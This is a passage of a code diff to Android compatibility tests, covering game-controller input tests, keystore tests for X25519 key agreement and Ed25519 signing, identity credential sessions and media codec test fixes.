+        }
     }
 
     @Test
     public void testVibrator() throws Exception {
+        // hid-generic does not support vibration for this device
+        assumeTrue(KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION"));
         testInputVibratorEvents(R.raw.sony_dualsense_bluetooth_vibratortests);
     }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java
index 2c31b8f..65d3f78 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualSenseUsbTest.java
@@ -19,10 +19,13 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.hardware.cts.R;
+import android.view.InputDevice;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 
+import com.android.cts.kernelinfo.KernelInfo;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -36,10 +39,11 @@
     }
 
     @Override
-    public void setUp() throws Exception {
-        // Do not run this test for kernel versions 4.19 and below
-        assumeTrue(isKernelVersionGreaterThan("4.19"));
-        super.setUp();
+    protected int getAdditionalSources() {
+        if (KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION")) {
+            return InputDevice.SOURCE_MOUSE | InputDevice.SOURCE_SENSOR;
+        }
+        return 0;
     }
 
     @Test
@@ -54,6 +58,8 @@
 
     @Test
     public void testVibrator() throws Exception {
+        assumeTrue(KernelInfo.hasConfig("CONFIG_HID_PLAYSTATION"));
         testInputVibratorEvents(R.raw.sony_dualsense_usb_vibratortests);
+        // hid-generic does not support vibration for this device
     }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
index 547a337..d8f339a 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
@@ -23,6 +23,8 @@
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 
+import com.android.cts.kernelinfo.KernelInfo;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -47,7 +49,7 @@
 
     @Test
     public void testVibrator() throws Exception {
-        assumeTrue("Requires kernel > 4.19", isKernelVersionGreaterThan("4.19"));
+        assumeTrue(KernelInfo.isKernelVersionGreaterThan("4.19"));
         testInputVibratorEvents(R.raw.sony_dualshock4_bluetooth_vibratortests);
     }
 
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
index 0a1f04a..84d8abc 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
@@ -23,6 +23,8 @@
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 
+import com.android.cts.kernelinfo.KernelInfo;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -47,7 +49,7 @@
 
     @Test
     public void testVibrator() throws Exception {
-        assumeTrue("Requires kernel > 4.19", isKernelVersionGreaterThan("4.19"));
+        assumeTrue(KernelInfo.isKernelVersionGreaterThan("4.19"));
         testInputVibratorEvents(R.raw.sony_dualshock4_bluetooth_vibratortests);
     }
 
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
index 08ece8e..0f6f53b 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
@@ -16,6 +16,7 @@
 
 package android.hardware.input.cts.tests;
 
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
 import android.hardware.cts.R;
@@ -23,6 +24,8 @@
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 
+import com.android.cts.kernelinfo.KernelInfo;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -36,6 +39,18 @@
     }
 
     @Test
+    public void kernelModule() {
+        /**
+         * Basic support is required on all kernels. After kernel 4.19, devices must have
+         * CONFIG_HID_SONY enabled, which supports advanced features like haptics.
+         */
+        if (KernelInfo.isKernelVersionGreaterThan("4.19")) {
+            assertTrue(KernelInfo.hasConfig("CONFIG_HID_SONY"));
+        }
+        assertTrue(KernelInfo.hasConfig("CONFIG_HID_GENERIC"));
+    }
+
+    @Test
     public void testAllKeys() {
         testInputEvents(R.raw.sony_dualshock4_usb_keyeventtests);
     }
@@ -52,7 +67,8 @@
 
     @Test
     public void testVibrator() throws Exception {
-        assumeTrue("Requires kernel > 4.19", isKernelVersionGreaterThan("4.19"));
+        // hid-generic and older HID_SONY drivers don't support vibration
+        assumeTrue(KernelInfo.isKernelVersionGreaterThan("4.19"));
         testInputVibratorEvents(R.raw.sony_dualshock4_usb_vibratortests);
     }
 }
diff --git a/tests/tests/identity/src/android/security/identity/cts/MultiDocumentPresentationTest.java b/tests/tests/identity/src/android/security/identity/cts/MultiDocumentPresentationTest.java
index 094ff3f..ce75658 100644
--- a/tests/tests/identity/src/android/security/identity/cts/MultiDocumentPresentationTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/MultiDocumentPresentationTest.java
@@ -25,6 +25,7 @@
 
 import android.content.Context;
 
+import android.hardware.biometrics.CryptoObject;
 import android.security.identity.AccessControlProfile;
 import android.security.identity.AccessControlProfileId;
 import android.security.identity.PersonalizationData;
@@ -200,4 +201,20 @@
             assertArrayEquals(expectedMac, rd.getDeviceMac());
         }
     }
+
+    @Test
+    public void cryptoObjectReturnsCorrectSession() throws Exception {
+        assumeTrue("IC HAL is not implemented", TestUtil.isHalImplemented());
+        assumeTrue("IdentityCredentialStore.createPresentationSession(int) not supported",
+                   TestUtil.getFeatureVersion() >= 202201);
+
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        IdentityCredentialStore store = IdentityCredentialStore.getInstance(appContext);
+
+        PresentationSession session = store.createPresentationSession(
+            IdentityCredentialStore.CIPHERSUITE_ECDHE_HKDF_ECDSA_WITH_AES_256_GCM_SHA256);
+
+        CryptoObject cryptoObject = new CryptoObject(session);
+        assertEquals(session, cryptoObject.getPresentationSession());
+    }
 }
diff --git a/tests/tests/keystore/Android.bp b/tests/tests/keystore/Android.bp
index 076ce21..da32ac4 100644
--- a/tests/tests/keystore/Android.bp
+++ b/tests/tests/keystore/Android.bp
@@ -134,9 +134,12 @@
         "android.test.runner",
     ],
     static_libs: [
+        "bouncycastle-bcpkix-unbundled",
+        "bouncycastle-unbundled",
         "cts-core-test-runner-axt",
         "wycheproof-keystore",
         "wycheproof-gson",
+        "cts-keystore-test-util",
     ],
     // sdk_version: "test_current",
     platform_apis: true,
diff --git a/tests/tests/keystore/OWNERS b/tests/tests/keystore/OWNERS
index 21e2825..4d92596 100644
--- a/tests/tests/keystore/OWNERS
+++ b/tests/tests/keystore/OWNERS
@@ -1,6 +1,11 @@
-# Bug component: 36824
+# Bug component: 1084732
+#
+# Bugs for failures on Pixel devices should be assigned to frankwoo@, cc tommychiu@
+# Bugs for failures on Cuttlefish should be assigned to cloud-android-devs@
+# Bugs for failures that affect many/all devices should be assigned to android-hardware-security@
+#
+# Please CC android-hardware-security on all bugs.
 swillden@google.com
-jdanis@google.com
 jbires@google.com
 eranm@google.com
 drysdale@google.com
diff --git a/tests/tests/keystore/src/android/keystore/cts/BlockCipherTestBase.java b/tests/tests/keystore/src/android/keystore/cts/BlockCipherTestBase.java
index 076696d..6057e45 100644
--- a/tests/tests/keystore/src/android/keystore/cts/BlockCipherTestBase.java
+++ b/tests/tests/keystore/src/android/keystore/cts/BlockCipherTestBase.java
@@ -27,6 +27,8 @@
 
 import android.keystore.cts.util.EmptyArray;
 import android.keystore.cts.util.TestUtils;
+import android.os.Build;
+import android.os.SystemProperties;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
 
@@ -34,8 +36,12 @@
 
 import junit.framework.AssertionFailedError;
 
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.ByteArrayOutputStream;
-import java.nio.Buffer;
 import java.nio.ByteBuffer;
 import java.security.AlgorithmParameters;
 import java.security.InvalidAlgorithmParameterException;
@@ -62,11 +68,6 @@
 import javax.crypto.spec.IvParameterSpec;
 import javax.crypto.spec.SecretKeySpec;
 
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
 @RunWith(AndroidJUnit4.class)
 abstract class BlockCipherTestBase {
 
@@ -724,6 +725,11 @@
             assertEquals(getBlockSize(), output.length);
         } catch (NullPointerException e) {
             if (isStrongbox() && output == null) {
+                if (Build.VERSION_CODES.TIRAMISU
+                        > SystemProperties.getInt("ro.vendor.api_level", 0)) {
+                    // Known broken on some older vendor implementations.
+                    return;
+                }
                 fail("b/194134359");
             }
             throw e;
@@ -836,22 +842,33 @@
             int ciphertextIndex = 0;
             for (int plaintextIndex = 0; plaintextIndex < plaintext.length; plaintextIndex++) {
                 byte[] output = update(new byte[] {plaintext[plaintextIndex]});
-                if ((plaintextIndex % blockSize) == blockSize - 1) {
-                    String additionalInformation = "";
-                    if (isStrongbox() && output == null) {
+                String additionalInformation = "";
+                boolean compareOutput = true;
+                if (isStrongbox()) {
+                    // This is known to be broken on older vendor implementations.
+                    if (Build.VERSION_CODES.TIRAMISU
+                            > SystemProperties.getInt("ro.vendor.api_level", 0)) {
+                        compareOutput = false;
+                    } else {
                         additionalInformation = " (b/194134359)";
                     }
-                    // Cipher.update is expected to have output a new block
-                    assertArrayEquals(
-                            "plaintext index: " + plaintextIndex + additionalInformation,
-                            subarray(
-                                    expectedCiphertext,
-                                    ciphertextIndex,
-                                    ciphertextIndex + blockSize),
-                            output);
-                } else {
-                    // Cipher.update is expected to have produced no output
-                    assertArrayEquals("plaintext index: " + plaintextIndex, null, output);
+                }
+                if (compareOutput) {
+                    if ((plaintextIndex % blockSize) == blockSize - 1) {
+                        // Cipher.update is expected to have output a new block
+                        assertArrayEquals(
+                                "plaintext index: " + plaintextIndex + additionalInformation,
+                                subarray(
+                                        expectedCiphertext,
+                                        ciphertextIndex,
+                                        ciphertextIndex + blockSize),
+                                output);
+                    } else {
+                        // Cipher.update is expected to have produced no output
+                        assertArrayEquals(
+                                "plaintext index: " + plaintextIndex + additionalInformation,
+                                null, output);
+                    }
                 }
                 if (output != null) {
                     ciphertextIndex += output.length;
@@ -928,17 +945,28 @@
                                 && (ciphertextIndex > 0) && ((ciphertextIndex % blockSize) == 0))
                         || ((!paddingEnabled) && ((ciphertextIndex % blockSize) == blockSize - 1));
 
-                if (outputExpected) {
-                    String additionalInformation = "";
-                    if (isStrongbox()) {
+                String additionalInformation = "";
+                boolean compareOutput = true;
+                if (isStrongbox()) {
+                    // This is known to be broken on older vendor implementations.
+                    if (Build.VERSION_CODES.TIRAMISU
+                            > SystemProperties.getInt("ro.vendor.api_level", 0)) {
+                        compareOutput = false;
+                    } else {
                         additionalInformation = " (b/194134040)";
                     }
-                    assertArrayEquals(
-                            "ciphertext index: " + ciphertextIndex + additionalInformation,
-                            subarray(expectedPlaintext, plaintextIndex, plaintextIndex + blockSize),
-                            output);
-                } else {
-                    assertEquals("ciphertext index: " + ciphertextIndex, null, output);
+                }
+                if (compareOutput) {
+                    if (outputExpected) {
+                        assertArrayEquals(
+                                "ciphertext index: " + ciphertextIndex + additionalInformation,
+                                subarray(expectedPlaintext, plaintextIndex,
+                                    plaintextIndex + blockSize),
+                                output);
+                    } else {
+                        assertEquals("ciphertext index: " + ciphertextIndex + additionalInformation,
+                                null, output);
+                    }
                 }
 
                 if (output != null) {
@@ -1297,7 +1325,6 @@
         System.arraycopy(input, 0, buffer, inputOffsetInBuffer, input.length);
         createCipher();
         initKat(opmode);
-        String additionalInformation = "";
         int outputLength = update(buffer, inputOffsetInBuffer, input.length,
                 buffer, outputOffsetInBuffer);
         if (isStrongbox()) {
diff --git a/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java b/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java
index 30bd40b..8a37b16 100644
--- a/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java
+++ b/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java
@@ -30,14 +30,23 @@
 import org.junit.runner.RunWith;
 
 import java.security.InvalidAlgorithmParameterException;
+import java.security.InvalidKeyException;
+import java.security.KeyPair;
 import java.security.KeyPairGenerator;
 import java.security.KeyStore;
 import java.security.KeyStoreException;
 import java.security.NoSuchAlgorithmException;
 import java.security.NoSuchProviderException;
-import java.security.ProviderException;
+import java.security.Signature;
+import java.security.SignatureException;
+import java.security.interfaces.EdECPublicKey;
 import java.security.spec.ECGenParameterSpec;
+import java.security.spec.InvalidKeySpecException;
 import java.security.spec.NamedParameterSpec;
+import java.util.Arrays;
+import java.util.Base64;
+
+import javax.crypto.KeyAgreement;
 
 @RunWith(AndroidJUnit4.class)
 public class Curve25519Test {
@@ -52,45 +61,77 @@
 
     @Test
     public void x25519KeyAgreementTest() throws NoSuchAlgorithmException, NoSuchProviderException,
-            InvalidAlgorithmParameterException {
+            InvalidAlgorithmParameterException, InvalidKeySpecException, InvalidKeyException {
         KeyPairGenerator kpg = KeyPairGenerator.getInstance("EC", "AndroidKeyStore");
-        final String alias = "x25519-alias";
-        deleteEntry(alias);
+        // Aliases for both keys.
+        final String firstKeyAlias = "x25519-alias";
+        deleteEntry(firstKeyAlias);
+        final String secondKeyAlias = "x25519-alias-second";
+        deleteEntry(secondKeyAlias);
 
-        KeyGenParameterSpec keySpec = new KeyGenParameterSpec.Builder(alias,
-                        KeyProperties.PURPOSE_AGREE_KEY)
+        // Generate first x25519 key pair.
+        KeyGenParameterSpec firstKeySpec = new KeyGenParameterSpec.Builder(firstKeyAlias,
+                KeyProperties.PURPOSE_AGREE_KEY)
                 .setAlgorithmParameterSpec(new ECGenParameterSpec("x25519")).build();
-        kpg.initialize(keySpec);
+        kpg.initialize(firstKeySpec);
+        KeyPair firstKeyPair = kpg.generateKeyPair();
 
-        //TODO(b/214203951): Remove this try/catch once Conscrypt class are available.
-        try {
-            kpg.generateKeyPair();
-            fail("Should not be supported yet");
-        } catch (ProviderException e) {
-            assertThat(e.getMessage()).isEqualTo("Curve XDH not supported yet");
-        }
+        // Generate second x25519 key pair.
+        KeyGenParameterSpec secondKeySpec = new KeyGenParameterSpec.Builder(secondKeyAlias,
+                KeyProperties.PURPOSE_AGREE_KEY)
+                .setAlgorithmParameterSpec(new ECGenParameterSpec("x25519")).build();
+        kpg.initialize(secondKeySpec);
+        KeyPair secondKeyPair = kpg.generateKeyPair();
+
+        // Attempt a key agreement with the private key from the first key pair and the public
+        // key from the second key pair.
+        KeyAgreement secondKa = KeyAgreement.getInstance("XDH");
+        secondKa.init(firstKeyPair.getPrivate());
+        secondKa.doPhase(secondKeyPair.getPublic(), true);
+        byte[] secondSecret = secondKa.generateSecret();
+
+        // Attempt a key agreement "the other way around": using the private key from the second
+        // key pair and the public key from the first key pair.
+        KeyAgreement firstKa = KeyAgreement.getInstance("XDH");
+        firstKa.init(secondKeyPair.getPrivate());
+        firstKa.doPhase(firstKeyPair.getPublic(), true);
+        byte[] firstSecret = firstKa.generateSecret();
+
+        // Both secrets being equal means the key agreement was successful.
+        assertThat(Arrays.compare(firstSecret, secondSecret)).isEqualTo(0);
     }
 
     @Test
     public void ed25519KeyGenerationAndSigningTest()
             throws NoSuchAlgorithmException, NoSuchProviderException,
-            InvalidAlgorithmParameterException {
+            InvalidAlgorithmParameterException, InvalidKeyException, SignatureException {
         KeyPairGenerator kpg = KeyPairGenerator.getInstance("EC", "AndroidKeyStore");
         final String alias = "ed25519-alias";
         deleteEntry(alias);
 
         KeyGenParameterSpec keySpec = new KeyGenParameterSpec.Builder(alias,
                 KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
-                .setAlgorithmParameterSpec(new ECGenParameterSpec("ed25519")).build();
+                .setAlgorithmParameterSpec(new ECGenParameterSpec("ed25519"))
+                .setDigests(KeyProperties.DIGEST_NONE).build();
         kpg.initialize(keySpec);
 
-        //TODO(b/214203951): Remove this try/catch once Conscrypt class are available.
-        try {
-            kpg.generateKeyPair();
-            fail("Should not be supported yet");
-        } catch (ProviderException e) {
-            assertThat(e.getMessage()).isEqualTo("Curve 1.3.101.112 not supported yet");
-        }
+        KeyPair kp = kpg.generateKeyPair();
+        assertThat(kp.getPublic()).isInstanceOf(EdECPublicKey.class);
+
+        byte[] data = "helloxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx".getBytes();
+        Signature signer = Signature.getInstance("Ed25519");
+        signer.initSign(kp.getPrivate());
+        signer.update(data);
+        byte[] sigBytes = signer.sign();
+        assertThat(sigBytes.length).isEqualTo(64);
+        EdECPublicKey publicKey = (EdECPublicKey) kp.getPublic();
+        android.util.Log.i("Curve25519Test", "Manually validate: Payload "
+                + Base64.getEncoder().encodeToString(data) + " encoded key: "
+                + Base64.getEncoder().encodeToString(kp.getPublic().getEncoded())
+                + " signature: " + Base64.getEncoder().encodeToString(sigBytes));
+
+        //TODO: Verify signature over the data when Conscrypt supports validating Ed25519
+        // signatures.
     }
 
     @Test
@@ -150,4 +191,4 @@
             assertThat(e.getMessage()).contains("cannot be initialized using NamedParameterSpec");
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/NoAttestKeyTest.java b/tests/tests/keystore/src/android/keystore/cts/NoAttestKeyTest.java
index 77535a0..3452d8e 100644
--- a/tests/tests/keystore/src/android/keystore/cts/NoAttestKeyTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/NoAttestKeyTest.java
@@ -83,7 +83,9 @@
                             .setAttestationChallenge("challenge".getBytes())
                             .setAttestKeyAlias(attestKeyAlias)
                             .build());
-            fail("Expected exception.");
+            fail("Expected that use of PURPOSE_ATTEST_KEY should fail, as the "
+                    + PackageManager.FEATURE_KEYSTORE_APP_ATTEST_KEY
+                    + " feature is not advertized by the device");
         } catch (InvalidAlgorithmParameterException e) {
             // ATTEST_KEY generation/use has failed as expected
         }
diff --git a/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java b/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java
index c72fc6e..5b78757 100644
--- a/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/SignatureTest.java
@@ -24,13 +24,22 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.keystore.cts.R;
+import android.content.Context;
 import android.keystore.cts.util.EmptyArray;
 import android.keystore.cts.util.ImportedKey;
 import android.keystore.cts.util.TestUtils;
+import android.security.keystore.KeyInfo;
+import android.security.keystore.KeyPermanentlyInvalidatedException;
+import android.security.keystore.KeyProperties;
+import android.security.keystore.KeyProtection;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.security.InvalidKeyException;
-import java.security.Key;
 import java.security.KeyFactory;
 import java.security.KeyPair;
 import java.security.KeyStore;
@@ -50,17 +59,6 @@
 import java.util.Set;
 import java.util.TreeMap;
 
-import android.content.Context;
-import android.security.keystore.KeyInfo;
-import android.security.keystore.KeyPermanentlyInvalidatedException;
-import android.security.keystore.KeyProperties;
-import android.security.keystore.KeyProtection;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
 /**
  * Tests for algorithm-agnostic functionality of {@code Signature} implementations backed by Android
  * Keystore.
@@ -366,6 +364,9 @@
         Set<String> actualSigAlgsLowerCase = new HashSet<String>();
         Set<String> expectedSigAlgsLowerCase = new HashSet<String>(
                 Arrays.asList(TestUtils.toLowerCase(EXPECTED_SIGNATURE_ALGORITHMS)));
+        //TODO(b/233037333): Move this value to the EXPECTED_SIGNATURE_ALGORITHMS array, once
+        //we have confirmed key import is working for Ed25519 and have a key to import.
+        expectedSigAlgsLowerCase.add("ed25519");
         for (Service service : services) {
             if ("Signature".equalsIgnoreCase(service.getType())) {
                 String algLowerCase = service.getAlgorithm().toLowerCase(Locale.US);
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java b/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
index 848d74c..c273a18 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
@@ -808,7 +808,7 @@
     }
 
     private MediaRecorder allocMediaRecorder() throws Exception {
-        final String outputPath = new File(Environment.getExternalStorageDirectory(),
+        final String outputPath = new File(mContext.getExternalFilesDir(null),
             "record.out").getAbsolutePath();
         mOutFile = new File(outputPath);
         MediaRecorder mediaRecorder = new MediaRecorder();
diff --git a/tests/tests/media/codec/AndroidTest.xml b/tests/tests/media/codec/AndroidTest.xml
index ce2b7ed..a2f5d2b 100644
--- a/tests/tests/media/codec/AndroidTest.xml
+++ b/tests/tests/media/codec/AndroidTest.xml
@@ -33,6 +33,11 @@
         <option name="dynamic-config-name" value="CtsMediaCodecTestCases" />
         <option name="version" value="1.0"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaCodecTestCases" />
+        <option name="version" value="7.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaCodecTestCases-1.0" />
@@ -42,11 +47,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaCodecTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaCodecTestCases" />
-        <option name="version" value="7.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.codec.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayTest.java b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayTest.java
index 8cf1c98..e8bd2cf 100755
--- a/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayTest.java
+++ b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayTest.java
@@ -257,6 +257,7 @@
         MediaCodec decoder = null;
         OutputSurface outputSurface = null;
         VirtualDisplay virtualDisplay = null;
+        ColorSlideShow slideShow = null;
 
         try {
             encoder = MediaCodec.createByCodecName(mEncoderName);
@@ -277,13 +278,19 @@
 
             // Run the color slide show on a separate thread.
             mInputDone = false;
-            new ColorSlideShow(virtualDisplay.getDisplay()).start();
+            slideShow = new ColorSlideShow(virtualDisplay.getDisplay());
+            slideShow.start();
 
             // Record everything we can and check the results.
             doTestEncodeVirtual(encoder, decoder, outputSurface);
 
         } finally {
             if (VERBOSE) Log.d(TAG, "releasing codecs, surfaces, and virtual display");
+            if (slideShow != null) {
+                try {
+                    slideShow.join();
+                } catch (InterruptedException ignore) {}
+            }
             if (virtualDisplay != null) {
                 virtualDisplay.release();
             }
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayWithCompositionTestImpl.java b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
index b9c1856..12bff24 100644
--- a/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
+++ b/tests/tests/media/codec/src/android/media/codec/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
@@ -124,10 +124,6 @@
         public void onBufferReady(ByteBuffer data, MediaCodec.BufferInfo info) {
             mCodecBufferReceived = true;
         }
-        @Override
-        public void onError(String errorMessage) {
-            fail(errorMessage);
-        }
     };
 
     /* TEST_COLORS static initialization; need ARGB for ColorDrawable */
@@ -222,11 +218,6 @@
                     handleEncodedData(data, info);
                 }
 
-                @Override
-                public void onError(String errorMessage) {
-                    fail(errorMessage);
-                }
-
                 private void handleEncodedData(ByteBuffer data, BufferInfo info) {
                     if (mIsQuitting) {
                         if (DBG) {
@@ -508,7 +499,6 @@
     interface EncoderEventListener {
         public void onCodecConfig(ByteBuffer data, MediaCodec.BufferInfo info);
         public void onBufferReady(ByteBuffer data, MediaCodec.BufferInfo info);
-        public void onError(String errorMessage);
     }
 
     private class EncodingHelper {
@@ -521,6 +511,7 @@
         private Thread mEncodingThread;
         private Surface mEncodingSurface;
         private Semaphore mInitCompleted = new Semaphore(0);
+        private Exception mEncodingError;
 
         Surface startEncoding(String mimeType, int w, int h, EncoderEventListener eventListener) {
             mStopEncoding = false;
@@ -528,6 +519,7 @@
             mW = w;
             mH = h;
             mEventListener = eventListener;
+            mEncodingError = null;
             mEncodingThread = new Thread(new Runnable() {
                 @Override
                 public void run() {
@@ -535,7 +527,9 @@
                         doEncoding();
                     } catch (Exception e) {
                         e.printStackTrace();
-                        mEventListener.onError(e.toString());
+                        // Throwing the exception here will crash the thread and subsequently the
+                        // entire test process. We save it here and throw later in stopEncoding().
+                        mEncodingError = e;
                     }
                 }
             });
@@ -554,7 +548,7 @@
             return mEncodingSurface;
         }
 
-        void stopEncoding() {
+        void stopEncoding() throws Exception {
             try {
                 mStopEncoding = true;
                 mEncodingThread.join();
@@ -563,6 +557,10 @@
             } finally {
                 mEncodingThread = null;
             }
+            // Throw here if any error occurred in the encoding thread.
+            if (mEncodingError != null) {
+                throw mEncodingError;
+            }
         }
 
         private void doEncoding() throws Exception {
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java
index 2baacd8..4294059 100644
--- a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java
+++ b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java
@@ -35,14 +35,13 @@
 import android.media.MediaCodecInfo.EncoderCapabilities;
 import android.media.MediaCodecInfo.VideoCapabilities;
 import android.media.MediaCodecList;
-import android.media.MediaCrypto;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
-import android.media.cts.AudioHelper;
 import android.media.cts.InputSurface;
 import android.media.cts.OutputSurface;
 import android.media.cts.Preconditions;
 import android.media.cts.StreamUtils;
+import android.media.cts.TestUtils;
 import android.opengl.GLES20;
 import android.os.Build;
 import android.os.ConditionVariable;
@@ -64,13 +63,9 @@
 import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.MediaUtils;
 
-import java.io.BufferedInputStream;
 import java.io.File;
 import java.io.IOException;
-import java.io.InputStream;
 import java.nio.ByteBuffer;
-import java.nio.FloatBuffer;
-import java.nio.ShortBuffer;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
@@ -2429,6 +2424,11 @@
                 continue;
             }
             MediaCodec codec = null;
+            if (!TestUtils.isTestableCodecInCurrentMode(info.getName())) {
+                Log.d(TAG, "skip testing codec " + info.getName() + " in current mode:"
+                                + (TestUtils.isMtsMode() ? " MTS" : " CTS"));
+                continue;
+            }
             try {
                 codec = MediaCodec.createByCodecName(info.getName());
                 List<String> vendorParams = codec.getSupportedVendorParameters();
@@ -2510,7 +2510,7 @@
                         format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
                         format.setInteger(
                                 MediaFormat.KEY_COLOR_FORMAT,
-                                CodecCapabilities.COLOR_FormatYUV420Flexible);
+                                CodecCapabilities.COLOR_FormatSurface);
                     }
                 } else {
                     Log.i(TAG, info.getName() + " is in neither audio nor video domain; skipped");
@@ -2520,6 +2520,10 @@
                 codec.configure(
                         format, null, null,
                         info.isEncoder() ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0);
+                Surface inputSurface = null;
+                if (videoCaps != null && info.isEncoder()) {
+                    inputSurface = codec.createInputSurface();
+                }
                 codec.start();
                 codec.unsubscribeFromVendorParameters(vendorParams);
                 codec.stop();
diff --git a/tests/tests/media/common/src/android/media/cts/MediaStubActivity.java b/tests/tests/media/common/src/android/media/cts/MediaStubActivity.java
index fc5d459..541c68f 100644
--- a/tests/tests/media/common/src/android/media/cts/MediaStubActivity.java
+++ b/tests/tests/media/common/src/android/media/cts/MediaStubActivity.java
@@ -15,25 +15,41 @@
  */
 package android.media.cts;
 
-import android.media.cts.R;
-
 import android.app.Activity;
+import android.content.Intent;
+import android.media.cts.R;
+import android.os.Build;
 import android.os.Bundle;
 import android.util.Log;
 import android.view.SurfaceHolder;
 import android.view.SurfaceView;
+import android.view.Window;
+import android.view.WindowInsets;
+import android.view.WindowInsetsController;
 import android.view.WindowManager;
 
+import androidx.test.filters.SdkSuppress;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
 public class MediaStubActivity extends Activity {
     private static final String TAG = "MediaStubActivity";
     private SurfaceHolder mHolder;
     private SurfaceHolder mHolder2;
 
